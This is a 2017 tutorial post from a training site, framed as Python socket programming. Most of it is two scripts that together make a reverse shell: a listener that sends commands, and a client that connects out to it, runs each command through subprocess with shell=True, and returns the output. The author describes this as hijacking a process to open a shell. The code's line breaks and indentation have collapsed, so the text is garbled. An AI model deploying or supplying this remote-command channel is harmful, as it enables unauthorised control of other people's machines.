Ready to Start Your Career?

By: HEGA GEOFFROY
November 18, 2017
Network Programming with Socket in Python
By: HEGA GEOFFROY
November 18, 2017

By: HEGA GEOFFROY
November 18, 2017

import socketimport subprocessimport sysif len(sys.argv) <=2:print "Usage python server_tcp_shell.py <ipaddress> <port>"exit()nbytes = 4096def tcp_shell_server():host = sys.argv[1]port = int(sys.argv[2])socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_object.bind((host, port))socket_object.listen(1)print '[+] Listening for incomming TCP on port'conn, addr = socket_object.accept()print '[+] We got a connection:', addrwhile True:command = raw_input("shell>")if 'terminate' in command:conn.send('terminate')conn.close()breakelse:conn.send(command)print conn.recv(nbytes)tcp_shell_server()You need to configure the IP address of the server:
#ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up#ifconfig eth0import socket is the library of socket programmingimport subprocess is the library of subprocess programmingimport sys is the library of argument programminghost >> is the server ip addressport >> is the port number of serversocket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interfacebind() function to use for accepting the connection of clientlisten() function to use for wait incomming connectionraw_input("shell>") function use to open shell in the server with the subprocess communicationsend() function to send the datarecv() function to recv the data of clientclose() function to end the communication between server and clientThe client is Computer B:
import socketimport subprocessimport osimport sysif len(sys.argv) <=2:print "Usage python client_tcp_shell.py <host> <port>"exit()nbytes = 1024def tcp_reverse_client():host = sys.argv[1]port = int(sys.argv[2])socket_object = socket.socket(socket.AF_INET , socket.SOCK_STREAM)socket_object.connect((host , port))while True:command = socket_object.recv(nbytes)if 'terminate' in command:socket_object.close()breakelse:cmd = subprocess.Popen(command , shell=True , stdout=subprocess.PIPE , stderr=subprocess.PIPE , stdin=subprocess.PIPE)socket_object.send(cmd.stdout.read() )socket_object.send(cmd.stderr.read() )tcp_reverse_client()First, you need to configure the interface with the client:
#ifconfig eth0 192.168.1.3 netmask 255.255.255.0 up#ifconfig eth0host >> IP address of the server which you want to connectport >> port number of the server which you want to connectsocket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interfaceconnect() function to connect with the serverrecv() function to receive the dataclose(), break function to use if the connection is closesubprocess.Popen() function to use for open shell in the server, this function use to hijack the process of server and in this way to open shell in the serversend() send the command in the server, for the communicationFirst, execute the server command:
python server.py and listenpython client.pyI hope these 2 Python programs help those of you who do not understand networking socket programming with subprocesses.
Build your Cybersecurity or IT Career
Accelerate in your role, earn new certifications, and develop cutting-edge skills using the fastest growing catalog in the industry